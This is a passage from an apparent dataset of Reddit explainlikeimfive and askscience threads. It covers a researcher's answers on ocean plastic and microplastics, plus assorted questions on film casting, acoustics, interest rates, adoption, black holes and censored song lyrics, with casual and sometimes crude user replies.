around a similar theme of: what can we do as individuals; do we make a difference; is this a regional or global problem; what should corporations be doing; what should governments be doing? So I thought I\u2019d try to kill many birds (Kurzgesagt birds, of course) with one stone and gather some collective thoughts which tackle them all.\n\nI\u2019m a researcher on the [Our World in Data](_URL_5_) team \u2013 there we publish interactive data visualisations and research on how the world is changing over a long-term perspective across a wide range of social, economic, environmental dimensions. Therefore I try to use data to inform my choices on how to tackle problems and what makes sense. The data visualisations linked to below might be helpful for you.\n\nThese interactive maps are based on data published a 2015 [paper in Science](_URL_0_) (the only global quantification of plastic reaching the oceans by country that I\u2019ve seen). The data is for 2010 so not ideal, but I suspect this does not strongly affect the overall balance.\n\nLet\u2019s work through this in steps:\n\n\\- Per person, the amount of plastic waste we generate is mixed across the world, but typically higher in richer countries. Explore the map [here](_URL_4_).\n\n\\- But, plastic waste across the world is not managed in the same way and therefore does not have the same probability of ending up in the ocean. Most of the waste that is collected and formally managed in proper landfills does not reach the ocean. We can define \u2018mismanaged waste\u2019 as waste that is littered or not formally managed and includes disposal in dumps or open, uncontrolled landfills, where it is not fully contained. The authors note that this is the plastic waste which could enter waterways and move into the ocean. Per person, the global map changes significantly; richer countries tend to have much better waste management methods and therefore very low levels of \u2018mismanaged waste\u2019. Explore the map [here](_URL_1_-per-person).\n\n\\- Of course, in terms of plastic which could reach the ocean, we\u2019re interested in the total (not the per capita) plastic waste. This is how [that map looks](_URL_1_). Here we see that the largest quantities of mismanaged plastic waste are regionally focused in Asia and across North Africa. As noted in the video, it tends to be in countries which have industrialized very quickly in recent decades and have large coastal populations. If we [plot mismanaged plastic waste against GDP per capita](_URL_2_), it tends to be highest at middle incomes. \n\nSo, what is the most effective way of addressing this?\n\nIt\u2019s true that the quantity of mismanaged plastic waste (that could enter the ocean) across rich countries is in balance, relatively small at the global scale. Europe as a whole, for example, probably sums to the order of 100s of thousands of tonnes per year (maybe up to a million). This compares to some countries in South-East Asia, in contrast, which produce the in the order of millions of tonnes in a single country.\n\nWhat can we do as **individuals**? There is the obvious at-home or local practices we can do: recycle as much as you can, don\u2019t take plastic you don\u2019t need, be conscious of how much you\u2019re using and where you can reduce (but before of unintended consequences such as food waste). \n\nBut these practices alone are not close to enough. Sure, we should still do them, but only if they are additional to broader, more impactful action that higher-income countries take. They should not be a substitute, or a \u201cwe\u2019ve banned plastic straws, so we\u2019ve done our bit for the planet\u201d campaign. If rich countries (and their populations) are as concerned and committed to this problem as they say they are then one of the most effective actions is to invest in waste management infrastructure across lower-to-middle income countries. Countries which have industrialized quickly have been left with insufficient waste management systems. If these are systems are not implemented and upscaled, then we will be unable to address this global problem. We could end plastic waste across Europe and North America and we would still have a major global problem.\n\nNote that this is not a finger-pointing blame game. This has been a consequence of economic growth, industrialization and globalisation which we all share responsibility for. It needs to be a collaborative effort to find the interventions which have the largest impact.\n\nSo, governments should be investing in waste management infrastructure. Companies and industry should be taking responsibility for the redesign of new products which mimimise wastage. And as individuals we should be pressuring both into take these steps. Do your bit locally, but attempt to push for the high-impact global solutions too.", "Hello! I am an Oceanography student at University of S\u00e3o Paulo - USP, Brazil and I will do my final undergraduate research about microplastics, more specifically about microplastic ingestion by marine zooplankton organisms. Because of this point of my life (finishing my undergraduate degree), I have doubts about being a researcher, because in Brazil there are no stimulus for research, you have to do it for love. So, I have a personal question: when and why did you decide to research plastics? What is the feeling when you know that your work can help the planet and people?\n\nThank you!", "  Thanks for all your questions and the interesting discussion! \n\nAnother topic of related questions I see is on the topic of microplastics. So, perhaps an overall summary of what we know (which is, unfortunately, not as much we would like) is helpful.\n\n\\- Microplastics are plastic particles  < 5mm in diameter. They can come from primary sources, but also secondary sources as large plastics break down to small particle sizes in the environment.\n\n\\- It\u2019s true that on a mass-by-mass basis, microplastics are a large contribution to the global plastic problem (the specific quantity is unknown).\n\n\\- We know [organisms ingest them](_URL_0_).\n\n\\- Microplastics can become concentrated up the food chain by a process called biomagnification. Many will already know the process, but for those that don\u2019t: substances (can be anything, such as heavy metals, toxins, microplastics) can increase in concentration of the tissues of organisms as they become higher in the food chain. Think of it in basic terms of increasing size of fish: small fish could feed on small filter-feeder organisms which have concentrated some microplastic; small fish could eat many filter-feeders and would therefore have a higher concentration; a bigger fish then eats lots of the smaller fish, so has a higher concentration of microplastic; a massive fish eats lots of big fish, so concentration increases again. Then is humans eat lots of fish, we could develop an even higher concentration.\n\n\\- What is less clear is whether microplastics hang around within an organism; some studies show this is the case; some show that they are not readily absorbed.\n\n\\- We are unsure as to whether with time, microplastics simply pass through the body.\n\n\\- We are also unsure of what the potential health impacts (if any) there are from microplastics.\n\nIn short: our understanding of microplastics and their impacts are very preliminary. A recent [article summary](_URL_1_) of this discussion can be found here, where you can find links to many peer-reviewed studies. Overall I think it provides useful links and a summarisation of what we know; I would perhaps take a more cautious approach. The authors are maybe a bit dismissive in my opinion, but their overall message that we know very little at this stage is correct.\n\nThe fact that we do not have definitive evidence of negative impacts of microplastics does not mean we should be complacent. The precautionary principle would suggest that until we have evidence that it doesn\u2019t have a negative impact, we should be cautious. However, I would advise against widespread panic on this issue. There is no evidence I have seen to date that we are heading for major human health impacts. But we must continue to investigate.", "I am a biochemist who has wanted to work on engineering enzymes to degrade plastics since I was a kid. I easily engineer enzymes for better activity, stability, and other functions for a living now, but for a different applications like pharma and agriculture. I keep contacting the researchers who have worked on plastic degradation asking if they need postdocs or staff to help on this issue, but get no response and it makes me wonder how serious they are about actually solving this problem. I'm willing to help on this issue for free. Are there any opportunities for people like me to get involved? ", "The plastic garbage in the ocean, which are the three top contributing rivers from which all that garbage comes from?", "What is the future of garbage island? \n\nIs it possible to diminish this?", "  Another aggregate answer on the topic of biodegradable plastics, since this question is appearing a lot.\n\nPeople always get excited about the prospect of biodegradable plastics \u2013 hey, we can get the benefits of what plastic would give us, then then once we\u2019re done we just compost it and it disappears. Sounds great! But it\u2019s a bit more complicated than that, and industry has really jumped on the bandwagon of our excitement. \n\nPart of the problem relates to our definition of \u2018biodegradable\u2019. We say standard plastics do not degrade, but actually this is not strictly true. Over long timescales they do break down, they just don\u2019t in the timeframes we\u2019re used to talking about. So there has unfortunately been a trend of labelling products as \u2018biodegradable\u2019 simply because they break down *faster* than our standard plastics. \n\nOne example of this was so-called \u2018oxo-degradable plastics\u2019 which were promoted as biodegradable. But these are actually just standard plastics (such as polyethylene) with additives to accelerate the oxidation process (causing them to break down faster). All this does is break the plastics down into microplastics. Still, it gets classified as biodegradable. I think I\u2019d rather have the conventional plastic than been fooled into thinking it\u2019s better for the environment.\n\nThis has been the case with several so-called biodegradable plastics: they are proven to break down faster under specific environmental conditions (which may not actually reflect the normal environment) and can make this claim. As consumers we are then bombarded with labels of biodegradable, bio-based, compostable, and can\u2019t make sense of what this actually means. I think it\u2019s a real problem. At least with conventional plastic you know where you stand.\n\nThe final challenge of biodegradable plastics (the ones which could be genuine) is that they tend to need particular waste management methods which are not always widely available. They usually need to be separated from the traditional recycling stream (which can be difficult and expensive), and have to go to specific compostable facilities. This doesn\u2019t mean this is completely unfeasible, but could be additional economic cost, and would take significant work in terms of infrastructure redesign/reshuffling.\n\nOverall: be cautious as to what biodegradable actually means. I don\u2019t think the real solutions are there yet, but could come in the future. It would have to be scalable and cheap if it was to make a significant contribution.", "How much does the medical field contribute to plastic pollution? Every time I\u2019m at the doctor I notice how much of the stuff they use is plastic and one time use only, which makes sense so it\u2019s sanitary, but I can\u2019t help but get the feeling that that is also a lot of waste being created. ", "  Another common question relates to whether paper, cotton, other materials are better than plastic.\n\nThis is always complex to answer because there are trade-offs depending on what environmental factor you focus on. The major (and really only downside relative to other products) of plastic is its impact in the waste stream and impact on marine pollution. For aspects of climate change, energy, water use, fertilizer use etc. it tends to be better than alternatives.\n\nIn the video, they quoted this comparison from a [recent Danish study](_URL_0_). There have been others producing similar results \u2013 the comparison can differ slightly depending on context, but the order of magnitudes are usually similar. It uses a life-cycle analysis (LCA) to compare the impacts of packaging products across their full value chain (e.g. from raw material extraction through to post-disposal/waste management). They do this for a range of environmental factors including climate change, water consumption, energy, freshwater pollution, fertilizer use etc.\n\nThey compare how many times you\u2019d have to reuse a given material as a substitute to make it worthwhile to replace a single-use standard plastic bag (i.e. how many times would you have to reuse to make it environmentally equal?).\n\n\\- Polypropylene (PP) \u2013 those thicker woven bags that are common you\u2019d have to use 5 times for CO2, or 45 times if you include all environmental factors;\n\n\\- Paper \u2013 tends to be similar from CO2 perspective, but would use 43 times to be even on all environmental factors;\n\n\\- Organic cotton bag \u2013 149 times for CO2; 20,000 times for all environmental factors;\n\n\\- Conventional cotton bag \u2013 52 times for CO2; 7100 times for all environmental factors.\n\nSo, as you can see it\u2019s all about trade-offs and there\u2019s not necessarily an easy answer. If you want to reduce ocean plastic, you might take some CO2 or other environmental penalty for substitution. ", "How do you pronounce Kurzgesagt?"]}, "title_urls": [], "selftext_urls": ["ocean.org", "https://www.youtube.com/watch?v=RS7IzU2VJIQ"], "answers_urls": [[], ["https://www.youtube.com/watch?v=qPIHJRIpLRk"], [], [], [], [], [], [], [], [], [], ["plasticsforchange.org"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://science.sciencemag.org/content/347/6223/768/", "https://ourworldindata.org/grapher/mismanaged-plastic-waste", "https://ourworldindata.org/grapher/per-capita-mismanaged-plastic-waste-vs-gdp-per-capita", "https://ourworldindata.org/grapher/mismanaged-plastic-waste-per-person", "https://ourworldindata.org/grapher/per-capita-plastic-waste-generation", "https://ourworldindata.org/"], [], ["https://www.sciencedirect.com/science/article/pii/S0269749117320456?via%3Dihub", "https://theconversation.com/plastics-in-oceans-are-mounting-but-evidence-on-harm-is-surprisingly-weak-93877"], [], [], [], [], [], ["https://www2.mst.dk/Udgiv/publications/2018/02/978-87-93614-73-4.pdf"], []]}
{"q_id": "2sjq9d", "title": "why are people mad that ben affleck played daredevil or batman?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sjq9d/eli5_why_are_people_mad_that_ben_affleck_played/", "answers": {"a_id": ["cnq3bjj", "cnq3de5", "cnq4bf4"], "score": [6, 2, 2], "text": ["Because Daredevil was a terrible movie and people are afraid the same will happen if he is Batman", "Daredevil was just a bad movie.\n\nPeople are skeptical of Ben's ability to play the type of dark, brooding jerk (let's face it, Bruce is kind of an asshole) that Batman is known as by the fanbase.\n\nI don't think I've heard many people be \"angry\" about Ben playing batman except the typical idiots that will find something to get upset about regardless of merit \n\nThere is a fair amount of skepticism that draws from some of the batman films that were not well received by long-time fans, such as Batman and Robin. Top-tier actors, shit results.", "I heard that George Clooney was begging Affleck to take the role"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "cws584", "title": "when pouring liquid into a container, why can you tell how full it is by the \u2018pitch\u2019 of the pouring sound?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cws584/eli5_when_pouring_liquid_into_a_container_why_can/", "answers": {"a_id": ["eyeefi8"], "score": [38], "text": ["When you blow across the top of an empty bottle or jug, it makes a low note.\n\nIf you pour some water into the bottle and blow, it makes a higher note.\n\nThe reason is Helmholtz resonance. You blow into the bottle and the air bounces back and forth between the bottom of the bottle (or the surface of the liquid) and the opening. The air resonates at a certain frequency and this makes a noise. The less space there is, the faster the air will bounce back and forth, and thus the higher the frequency. \n\nSo each container has a certain frequency that it'll resonate at when empty, and a certain frequency that it resonates at when full. And as you fill it, the resonant frequency gets higher and higher until you either turn off the water, or the bottle fills."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "mb2pz", "title": "Is there a biological or evolutionary reason why sex is associated with the night or is it more societal?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mb2pz/is_there_a_biological_or_evolutionary_reason_why/", "answers": {"a_id": ["c2zjm7d", "c2zjza1", "c2zky7z", "c2zoks7", "c2zjm7d", "c2zjza1", "c2zky7z", "c2zoks7"], "score": [44, 38, 24, 3, 44, 38, 24, 3], "text": ["There is evidence suggesting that before the wide-spread use of artificial light, a lot of sleep was bimodal, ie. two separate chunks of sleep separated by a shorter period of wakefulness. This period of time was notably often used to engage in sex with a partner. [[Source]](_URL_0_)\n\nThat being said, the above doesn't necessarily preclude any societal reasons. ", "This is a friendly reminder from your moderator team not to speculate and to only answer if you can back up your answer with scientific evidence that you fully comprehend.", "A study published in the Journal of Circadian Rhythms concluded that\n > although the presence of an endogenous component responsible for this temporal pattern cannot be excluded, the evidence indicates strong environmental forcing, particularly from the work/family schedule of the individuals and from partner availability. [source](_URL_0_)\n\nSo, this seems to suggest that sex during the night time is just a result of the society we live in, not some inherent biological trait.", "\"NEW YORK (Reuters Health) - While most people have heard that melatonin makes you drowsy, many could be surprised by a report that suggests the hormone can perk up a male's sex life--at least for rats, according to researchers in Italy.\n\n\"In men, a deficient production of melatonin may be related to impaired sexual activity,\" particularly in impotence that stems from a psychological problem, Filippo Drago and Lina Busa of the University of Catania Medical School, report in the journal Brain Research.\n\nLevels of melatonin fluctuate with time of day--about 10 times more is released at night by the brain's pineal gland\"\n\nSo the release of melatonin at night could be related to amorous feelings at night\n\n\nSOURCE: Brain Research 2000;878:98-104", "There is evidence suggesting that before the wide-spread use of artificial light, a lot of sleep was bimodal, ie. two separate chunks of sleep separated by a shorter period of wakefulness. This period of time was notably often used to engage in sex with a partner. [[Source]](_URL_0_)\n\nThat being said, the above doesn't necessarily preclude any societal reasons. ", "This is a friendly reminder from your moderator team not to speculate and to only answer if you can back up your answer with scientific evidence that you fully comprehend.", "A study published in the Journal of Circadian Rhythms concluded that\n > although the presence of an endogenous component responsible for this temporal pattern cannot be excluded, the evidence indicates strong environmental forcing, particularly from the work/family schedule of the individuals and from partner availability. [source](_URL_0_)\n\nSo, this seems to suggest that sex during the night time is just a result of the society we live in, not some inherent biological trait.", "\"NEW YORK (Reuters Health) - While most people have heard that melatonin makes you drowsy, many could be surprised by a report that suggests the hormone can perk up a male's sex life--at least for rats, according to researchers in Italy.\n\n\"In men, a deficient production of melatonin may be related to impaired sexual activity,\" particularly in impotence that stems from a psychological problem, Filippo Drago and Lina Busa of the University of Catania Medical School, report in the journal Brain Research.\n\nLevels of melatonin fluctuate with time of day--about 10 times more is released at night by the brain's pineal gland\"\n\nSo the release of melatonin at night could be related to amorous feelings at night\n\n\nSOURCE: Brain Research 2000;878:98-104"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Segmented_sleep"], [], ["http://www.jcircadianrhythms.com/content/3/1/4"], [], ["http://en.wikipedia.org/wiki/Segmented_sleep"], [], ["http://www.jcircadianrhythms.com/content/3/1/4"], []]}
{"q_id": "3r41fe", "title": "why do renaissance fairs exist? why don't we have other similar festivals and events to recreate other periods in history?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3r41fe/eli5_why_do_renaissance_fairs_exist_why_dont_we/", "answers": {"a_id": ["cwkof11"], "score": [2], "text": [" >  Why don't we have other similar festivals and events to recreate other periods in history?\n\nWe do, just about every period has some group recreating it in events or festivals.\n\n_URL_1_\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Historical_reenactment", "https://en.wikipedia.org/wiki/Living_history"]]}
{"q_id": "2spk08", "title": "If all eight planets had been formed as one massive object, what kind of planet would it have looked like?", "selftext": "In terms of composition, mass, and if it can be speculated on, orbit around the Sun. And if this question is by any chance not as far fetched as I imagine it to be, under what circumstances could such a planet be formed?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2spk08/if_all_eight_planets_had_been_formed_as_one/", "answers": {"a_id": ["cnrpiom"], "score": [77], "text": ["Basically something like Jupiter but slightly bigger. The rest of the planets combined make up about 40% the mass of Jupiter, and most of that is Saturn."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "azv0o6", "title": "what stops me from putting my money in a foreign bank where interest rates are high argentina - 60% and make a profit after one year?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/azv0o6/eli5_what_stops_me_from_putting_my_money_in_a/", "answers": {"a_id": ["eia7qid", "eia7u7z", "eia7x6j", "eiaexls", "eiagag8", "eiaggif", "eiags3i", "eiao5n4", "eib0l73"], "score": [111, 2, 45, 10, 2, 2, 3, 2, 2], "text": ["Mainly that those interest rates are for deposits in Argentine pesos, a currency that is currently experiencing approximately 50% inflation, so that 60% interest rate isn't actually particularly impressive.  It's also often the case that banks are either legally barred from accepting deposits from foreigners or such deposits are so heavily regulated as to make it impractical, but I don't know the laws in Argentina so it might not apply there.", "So long as you choose a country and bank that are not under sanctions, nothing\u2019s stopping you.  But foreign income, including interest payments, are subject to US federal taxes.  \n\nNote that the country you\u2019re banking in may or may not have a say in this as well, whether it be for their taxes or for exporting funds outside the country...", "For the most part, nothing.  Unless one of the two countries has a law against foreign investment, then you most certainly can just put your money in the bank.\n\nHowever, keep in mind that interest rates are set commensurate with the level of risk for any given investment.  If a bank has to set interest rates at 60%, then one of two things is probably going on:\n\n- Incredible inflation.  Your money may grow at a high rate, but the currency is losing value, so when you try to convert it back to dollars or euros or whathaveyou, you will lose a lot of the gained \"value\" in the exchange.\n\n- Default risk.  The banks can't confidently ensure that you're money will even be there when you want it - maybe the banks go insolvent, the government seizes assets or forbids repatriation of the money.  If you can't be assure that you will have access to your money when you want it, then the banks will have to have high interest rates to encourage deposits.", "This is called a carry trade. Used to be quite common for Japanese people to borrow JPY locally @ low rates and invest in NZD at higher rates. Worked well for years but you're very exposed to exchange rate changes", "Often, nothing is stopping you... but you have to factors in the currency fluctuation and other risks involved. You'd have to exchange dollars for Argentinian pesos to put the money into their bank, and if the currency loses value relative to USD then that will counter some/all of the difference in interest.", "In a word, Exchange rates. You will be losing money year on year when you do the conversion to USD.", "Nothing is stopping you, but exchange rates will likely equalize any returns.  In one year, by the time you pull your money out you may have ended up losing 60% once you convert back back to USD.\n\nExchange rates are influenced by many factors, including inflation, interest rates, and centeral bank policies. It's important to note, that changes on either side of a currency transaction affect the rate of exchange.\n\n & #x200B;\n\nThis is a specific strategy of trading, called \"arbitrage\", in which you borrow money in the US at 2%, convert to another currency, invest that in a another countries bond's at 4%, then at the end of the bond you convert back to US dollars. Again, if the exchange rate has increased/decreased during that time, you could end up with a profit of 10% or loss of 10%. I believe this was really popular back in the 80's when there were  more market inefficiencies than we have now (generally attributed  to high frequency trading we).\n\n & #x200B;\n\nBest i could do, maybe it'll help. Some one else could probably come up with a good analogy, but its been years since I studied this stuff.", "Nothing theoretically, but you\u2019re subject to exchange rate fluctuations and, in the case of a place like Argentina, insane inflation.\n\nBut it\u2019s something you could do. In the early part of this decade I kept most of my money in Australian accounts when rates were like 5% there compared to near-zero in the US. Worked out well (and the currency rates between USD and AUD were quite stable in that period ... USD has since strengthened considerably but that didn\u2019t really start making a significant difference until 2014ish).", "Don\u2019t do it. I\u2019m from Argentina and the banks are always rising the interest rates because no one, even us, likes the Peso. We\u2019re going to experience a major economic crash in a few months."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "42eyqr", "title": "why is the option of adoption rarely discussed in the argument of pro-life vs pro-choice?", "selftext": "As an example, I read this interesting article from a pro-choice perspective, _URL_0_. I completely understand where she's coming from and what her abortion allowed her to accomplish. However, she makes it sound like her only option was aborting and college or birthing and poverty. Couldn't she have also given birth to the baby, given it up for adoption, and then pursued her dreams?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42eyqr/eli5_why_is_the_option_of_adoption_rarely/", "answers": {"a_id": ["cz9sxfr", "cz9szpz", "cz9t63y", "cz9t7vq", "cz9unjn", "cz9wdm9", "cz9ygx6", "cza0hfc"], "score": [8, 26, 3, 2, 2, 2, 3, 3], "text": ["id expect that the reason is that to put a child up for adoption you would need to give birth to a child, which is exactly what women seeking an abortion hope to avoid doing.\n\n", "There are thousands of kids waiting to be adopted in the system yet they sit there. Why haven't all the pro-life people adopted them?\n\nAlso, going through pregnancy is a lot and putting life on hold can be very difficult. Adoption is discussed but as I said carrying full term is a commitment that can severely impact decisions. It's not that simple.\n\nEdit add: also why are many pro-life advocates against real sex education and believe in abstinence only garbage? Real education reduces abortions.", "Usually the mother doesn't want to give birth to the child.  Adoption is certainly an option for many people who wish to birth the child and put him/her up for adoption.  \n\n", "Good question...maybe it has to do with not wanting to walk around pregnant for 9 months too. ", "For me adoption would not be an option. If the child is born I would 100% bond with it. Rather sell my kidney and live in a shack than give it up. So, the reality is simply two options - abortion or motherhood.\n\nI believe this is common, and is a key reason adoption has less focus.", "I don't think it's rarely discussed at all. I hear it almost constantly when discussing this issue. The biggest and most obvious reason that it isn't an 'option' is because it completely discounts the experience of pregnancy and birth plus whatever complications could arise from that. Adoption is an alternative to parenting, not to pregnancy and birth. ", "From the pro\u2010choice perspective: there are many reasons a woman might choose to have an abortion.\n\nAdoption is a possibility if the woman doesn\u2019t want a child, but if she doesn\u2019t want to be pregnant, adoption is no good. No one should be forced to be pregnant against their will.", "I think it is discussed quite frequently. \n\nAnecdotally, I'm 9 months pregnant. If this child was not planned and welcome, then the hell that I've gone through might not have been bearable. \n\nVomited my guts out from about 7 weeks, to 30 weeks (3 to 4x daily, severe dehydration, barely able to work).\nHospitalized for back spasms because my little squish decided to sit on a nerve. No remedy. Had to sit in hospital for 5 days in excruciating pain because the shot they would usually give, couldn't be administered because of said baby. \nAt this point I can't sleep for more than 1-2 hours consecutively. Back aches, hips ache, pelvis aches. In every position. \nAcid reflux and heartburn cause me to have to sleep sitting up some nights. \n\nThe scary part? I've had it pretty easy. So many women go through so much more during their pregnancies. \n\nAnother thing to consider is the bond that develops while a woman is pregnant. Not even necessarily an emotional one, but you get to know the baby in a way. Every day he has a routine where he is more active. Root beer gives him the hiccups, etc. Which can make the choice even more difficult. It's a connection that can't really be ignored, as for a healthy pregnancy you need to make sure that the baby is kicking at least 10x an hour a day from about 28 weeks on. \n\nIt's not so black and white. And it's certainly not an easy decision. But I think the hardships and issues that a woman faces when she carries a child to term are often ignored as well. Pregnancy can be extremely difficult and even life threatening. "]}, "title_urls": [], "selftext_urls": ["http://wpo.st/bI-61"], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "75or42", "title": "At the very edge of an event horizon do photons have a velocity of 0?", "selftext": "At a location where if they were closer to singularity they would be pulled in and if they were any farther away they would escape.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/75or42/at_the_very_edge_of_an_event_horizon_do_photons/", "answers": {"a_id": ["do7wy8d", "do85smr"], "score": [20, 8], "text": ["No. The photons are still moving around at light speed. But light speed is no longer fast enough to overcome the gravity of the black hole. The photons are continually bent inwards and can not escape. Like a satellite orbiting a planet", "A light ray next to you will always be measured to have speed *c*. To a faraway observer hovering outside the horizon, the speed of the light ray approaches 0 as the ray approaches the horizon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "35cxng", "title": "why do weed references in popular songs often get bleeped out, but i can listen to \"cocaine\" in its entirely?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35cxng/eli5_why_do_weed_references_in_popular_songs/", "answers": {"a_id": ["cr38kvj", "cr39dym", "cr3aav1", "cr3apts", "cr3b09g", "cr3c2he", "cr3ccxu", "cr3d2gd", "cr3dceq", "cr3dm26", "cr3g0yy", "cr3gh97", "cr3h020", "cr3h4kb", "cr3h62e", "cr3hnmb", "cr3iiv3", "cr3itei", "cr3iw32", "cr3iz0g", "cr3k1z6", "cr3k945", "cr3kacc", "cr3kequ", "cr3kw51", "cr3l6k9", "cr3lh0y", "cr3olxp", "cr3p0wy", "cr3qy3j", "cr3re81", "cr3szl4", "cr3u4e6", "cr3ucjc", "cr3upsl", "cr3uqfw", "cr3ut4c", "cr3utwr", "cr3vn7p", "cr3wkbs"], "score": [15, 1904, 687, 74, 10, 1066, 12, 29, 86, 183, 66, 179, 42, 44, 9, 216, 4, 2, 12, 2, 3, 2, 2, 20, 2, 4, 2, 186, 2, 2, 2, 3, 4, 3, 2, 2, 2, 2, 2, 7], "text": ["Because the values the of the FCC and the values of the general population are two entirely different things.", "The record companies bleep out the weed references themselves - governments don't do it for them.\n\nThey do it because it increases their sales. It lets the 'album' version be better than what you get by recording the radio or listening to youtube, incentivizing you to buy. It also lets them play the radio edit in high schools without fighting the administration or any censorship committees. ", "If you happen to catch Who Are You by The Who on a classic rock station, the phrase \"who the fuck are you\" is said twice, unedited.", "Wasn't Cocaine about his horse named Cocaine?", "Cocaine by Clapton is overwhelmingly anti cocaine if you listen to the lyrics. Majority of songs with weed in the lyrics are pro weed (not saying that it is a bad thing to be pro weed.)", "Furthermore:\n\nWhy does the radio censor gunshots? Like in Yelawolf's \"Til It's Gone\" or MIA's \"Paper Planes?\"\n\nWe know what guns are. We know they make loud noises. Why?", "I also wonder about why Meredith Brooks can say \"Bitch\" but no one else can? Also, it seems as though hard rock stations are more willing to let that slide. I'm not saying it's a racial thing, but I'm not NOT saying that. Just throwing it out there... ", "Mostly it is because of the demographic. The classic rock station is going after old people, the CHR station is going after young people. \n\n\nYoung people are influenced by drugs and guns... Or so parents will say. The same parents will talk about the 70s as a wild time with tons of blow and sex, unless their kids are around.", "Cultural bias. Similarly, there are instrumental hip hop albums with \"explicit lyrics\" on the front, yet no such thing appears on a Radiohead or Arctic Monkeys album.", "'But she never lost her head, \nEven when she was giving head' \nwas all over the radio in '72. Lou's walk on the wild side.\nI remember my Mom singing to it while it played on the radio.\nLouder than me.\nNo idea.\n\n", "Also, Nicki Minaj['s(?)] Truffle Butter gets aired in perfect clarity.", "Whether or not something gets censored depends on who the medium is geared towards, kind of like a TV rating, only for music.\n\nOftentimes, artists will release a Clean version and an Explicit version. The Clean version can also be called the Radio Edit (which may or may not also be edited for length). The Radio Edit is meant to be aired on radio and on TV. The censorship means it won't face any/many restrictions on where and when it can be aired (the time of the day, for example).\n\nA random and overzealous example is the Just Dance videogame series, which is targeted at people of all ages, but is favoured by a lot of kids. They're a bit overzealous with their censorship to appease parents. Examples include:\n\n* \"***Cherry*** chapstick\" in \"I Kissed a Girl\" due to the potential double entendre despite the fact that Katy Perry is clearly singing about the taste of an actual chapstick. The whole theme of kissing a girl is left intact, though.\n* \"Bitch\" (understandable) and \"Vertical ***stick***\" in \"Bad Romance\" due to the double entendre.\n* The word \"God\" in the phrase \"Oh my God\" in \"Rock n' Roll (Will Take You to the Mountain)\" in the lyrics shown on screen. The word can still be heard, though.\n\nMeanwhile, certain radio stations don't censor anything ever because their target audiences are college kids and older.", "One of my favorite bleep outs on the radio I've heard was from Juicy by Notorious B.I.G. where he says \"Time to get paid, blow up like the World Trade\" I actually laughed in incredulity at that.", "One of the most incredible examples is the censorship of 'nuclear war' in Gay Bar. It was kept blank, bleeped or replaced with whip sounds depending on where you heard it.\n\nAlso, I'm still baffled how The Bloodhound Gang continues to get away with extremely dirty lyrics. How did they get played uncensored?!", "Not relevant to the bleeping of weed but I sometimes watch/listen to the music channel Kerrang.\n\nI noticed on the song Gay Bar by Electric Six they bleep out the words \"war\" and \"nuclear\".\n\nIt's fucking ridiculous.", "Because that song is enjoyed by Baby Boomers.  The purpose of the United States is to give Baby Boomers things they want.", "Because it's America, and people get butt hurt about everything. I hate censorship, and it seems like our country does it more than anyone", "Sort of relevant, but what about the songs where the dirty versions are still censored at some parts?\n\nTyler, The Creator's *Pigs* is a good example. Even though he drops the f- and n-bombs left and right, you still get lines like *\"Murder, murder, murder the last they heard of you/Is when I [censored] with all them burners, yo\"* and *\"My prom date she dismissed my offer, so I'mma [censored] and toss her in the principal's office\"* where the censored bits I indicated are still cut on the album version -- that is, no completely uncensored version of the song exists.", "wait there is an actual bleep in the middle of the song? Good god you americans are strange.", "Because cocaine is popular with the rich white men that do the censoring and weed is popular with the poor brown people that they exploit to make their money. ", "Some of it is up to the radios discretion, but I also think it has something to do with how they use it in the song. For instance in the song \"Ride with me\" by Nelly he says '***smoke*** an L in the back of a benz'y.' In this verse, he is talking about actually smoking weed. So they censor \"L\" because of how he used it in the sentence.  Alternatively, in Casey Jones by the Grateful Dead he says 'Ridin that train, High on Cocaine'. If he would have said 'Ridin that train, snorting lines of Cocaine' they would have censored 'cocaine'. ", "Must depend on where you are. I am in Canada, no legal recreational weed here but drug terms/slang don't get bleeped and neither do gunshots (saw it throughout comments). Would appreciate sirens being omitted for drivers, but can see how it may not work since not everyone listening to the radio is driving.", "Simply because the body governing what we consume via media isn't standard by any means. The fcc is kinda like the mpaa. They're just a group given power to enforce censorship over things they seem  to feel are harmful. \n\nIn the end it's all kind of arbitrary. ", "Years ago I sent an email to a radio station asking pretty much this exact question.  There response was basically that the FCC is fucked up.  The radio stations censor out things that they think will generate complaints to the FCC and let slide things that don't generate complaints.  This, as someone else pointed out, is also dependent on the time of day.  Late at night there aren't as many people likely to complain as there are in the middle of the day.  In the middle of the day you are more likely to get parents complaining that their children heard those lyrics where as in the middle of the night it is less likely that their children are listening to the radio.", "If weed is being censored on whatever garbage you are listening to, you need to find a new listening medium", "Eric Clapton isn't promoting the usage of or celebrating cocaine in the song. \"If you wanna get down, down on the ground, cocaine.\"\n\nWeed is still illegal in most places and there is hardly ever a song that will discourage the use of marijuana.", " > See the little faggot with the earring and the makeup\n\n > Yeah, buddy, that's his own hair\n\n > That little faggot got his own jet airplane\n\n > That little faggot he's a millionaire\n\nEvery day on the radio", "Because weed is the gateway lyric. 